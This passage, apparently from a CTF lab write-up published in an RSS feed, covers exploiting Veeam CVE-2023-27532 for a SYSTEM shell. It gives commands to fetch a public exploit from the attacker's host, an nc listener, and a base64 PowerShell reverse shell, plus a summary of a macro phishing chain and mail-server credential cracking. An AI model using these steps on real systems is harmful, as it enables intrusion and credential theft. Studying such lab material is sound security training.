&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Diagnostics.FileVersionInfo&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;GetVersionInfo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files\Veeam\Backup and Replication\Console\veeam.backup.shell.exe"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;FileVersion&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;4854&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Build &lt;code&gt;10.0.1.4854&lt;/code&gt; is Veeam v11 - well below the patched build &lt;code&gt;11.0.1.1261 P20230227&lt;/code&gt;. This is vulnerable to &lt;strong&gt;CVE-2023-27532&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is CVE-2023-27532?
&lt;/h3&gt;

&lt;p&gt;CVE-2023-27532 is a high-severity vulnerability (CVSS 7.5, effectively critical in practice). I found detailed technical analysis on the &lt;strong&gt;AttackerKB&lt;/strong&gt; blog by Rapid7: &lt;a href="https://attackerkb.com/topics/ALUsuJioE5/cve-2023-27532/rapid7-analysis" rel="noopener noreferrer"&gt;https://attackerkb.com/topics/ALUsuJioE5/cve-2023-27532/rapid7-analysis&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The Veeam backup service (&lt;code&gt;Veeam.Backup.Service.exe&lt;/code&gt;) exposes a &lt;strong&gt;.NET WCF endpoint on TCP port 9401&lt;/strong&gt; with no client authentication (&lt;code&gt;clientCredentialType="None"&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;binding&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"invokeServiceBinding"&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;security&lt;/span&gt; &lt;span class="na"&gt;mode=&lt;/span&gt;&lt;span class="s"&gt;"Transport"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;transport&lt;/span&gt; &lt;span class="na"&gt;clientCredentialType=&lt;/span&gt;&lt;span class="s"&gt;"None"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/security&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/binding&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This allows any unauthenticated user to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Extract plaintext credentials&lt;/strong&gt; - via &lt;code&gt;CredentialsDbScopeGetAllCreds&lt;/code&gt;, which decrypts stored credentials server-side using DPAPI and sends them back in plaintext. The Rapid7 analysis notes that a Horizon3 PoC leverages &lt;code&gt;CredentialsDbScopeFindCredentials&lt;/code&gt; for the same effect.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RCE as SYSTEM&lt;/strong&gt; - via &lt;code&gt;GetDataTable&lt;/code&gt; with &lt;code&gt;DatabaseAccessor&lt;/code&gt; scope, which passes raw SQL to the backend. This enables &lt;code&gt;xp_cmdshell&lt;/code&gt; and gives arbitrary command execution as the Veeam service account (&lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This vulnerability was widely exploited in real-world ransomware campaigns — attackers targeted backup infrastructure specifically to destroy recovery capability.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploitation
&lt;/h3&gt;

&lt;p&gt;We use &lt;a href="https://github.com/puckiestyle/CVE-2023-27532-RCE-Only" rel="noopener noreferrer"&gt;CVE-2023-27532-RCE-Only&lt;/a&gt;. Clone and host it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/puckiestyle/CVE-2023-27532-RCE-Only
&lt;span class="nb"&gt;cd &lt;/span&gt;CVE-2023-27532-RCE-Only
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The exploit needs three Veeam DLLs alongside the executable (all included in the repo). Without them the binary fails. Download all four to &lt;code&gt;C:\temp&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;iwr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;YOUR_IP&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;8000/VeeamHax.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp\VeeamHax.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;iwr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;YOUR_IP&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;8000/Veeam.Backup.Common.dll&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp\Veeam.Backup.Common.dll&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;iwr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;YOUR_IP&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;8000/Veeam.Backup.Model.dll&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp\Veeam.Backup.Model.dll&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;iwr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;YOUR_IP&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;8000/Veeam.Backup.Interaction.MountService.dll&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp\Veeam.Backup.Interaction.MountService.dll&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Test the exploit reaches the Veeam service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\VeeamHax.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Targeting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;127.0.0.1:9401&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start a listener, then fire the exploit with a base64-encoded PowerShell reverse shell from &lt;a href="https://www.revshells.com" rel="noopener noreferrer"&gt;revshells.com&lt;/a&gt; via &lt;code&gt;--cmd&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rlwrap &lt;span class="nt"&gt;-cAr&lt;/span&gt; nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 3333
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\VeeamHax.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;--cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"powershell -e JABjAGwAaQBlAG4AdAAgAD0A..."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Targeting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;127.0.0.1:9401&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell catches:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\WINDOWS\system32&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;nt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;authority\system&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We are &lt;strong&gt;NT AUTHORITY\SYSTEM&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. Root Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\WINDOWS\system32&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\Administrator\Desktop&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\Administrator\Desktop&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;root.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;REDACTED&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Attacker]
    │
    ├─ 1. Nmap → SMTP (25), HTTP (80/443), WinRM (5985)
    │
    ├─ 2. Web enum → job posting → "Send CV to hr@job2.vl as Word document"
    │
    ├─ 3. Craft evil.docm — VBA AutoOpen macro (download cradle → shell.ps1)
    │
    ├─ 4. swaks sends evil.docm to hr@job2.vl via open SMTP
    │      └─ Mail bot opens doc → macro fires → reverse shell as julian
    │
    ├─ 5. Enumerate filesystem → hMailServer + Veeam spotted
    │
    ├─ 6. hMailServer credential extraction
    │      ├─ Read hMailServer.INI → encrypted DB password
    │      ├─ Decrypt with hMailDatabasePasswordDecrypter → 95C02068FD5D
    │      ├─ Locate hMailServer.sdf → copy to C:\temp
    │      ├─ Open with SqlServerCe v3.5 → query hm_accounts
    │      └─ Extract SHA256 hashes → crack with John → Franzi123! (Ferdinand)
    │
    ├─ 7. evil-winrm as Ferdinand → user.txt [REDACTED]
    │
    ├─ 8. Veeam v11.0.1.4854 → vulnerable to CVE-2023-27532
    │      └─ Unauthenticated WCF endpoint (port 9401) → xp_cmdshell → SYSTEM shell
    │
    └─ 9. root.txt [REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;th&gt;CVSS&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Open SMTP relay&lt;/strong&gt; — hMailServer accepts unauthenticated mail to internal addresses&lt;/td&gt;
&lt;td&gt;Enables phishing with no credentials&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;VBA Macro execution&lt;/strong&gt; — mail bot opens attachments with macros enabled, no AV&lt;/td&gt;
&lt;td&gt;RCE via phishing document&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;hMailServer credential storage&lt;/strong&gt; — SHA-256 hashes crackable offline; DB password in INI&lt;/td&gt;
&lt;td&gt;Credential theft → lateral movement&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;CVE-2023-27532&lt;/strong&gt; — Veeam WCF endpoint on port 9401 with no client auth&lt;/td&gt;
&lt;td&gt;Unauthenticated RCE as SYSTEM via &lt;code&gt;xp_cmdshell&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>writeup</category>
      <category>ctf</category>
    </item>
  </channel>
</rss>
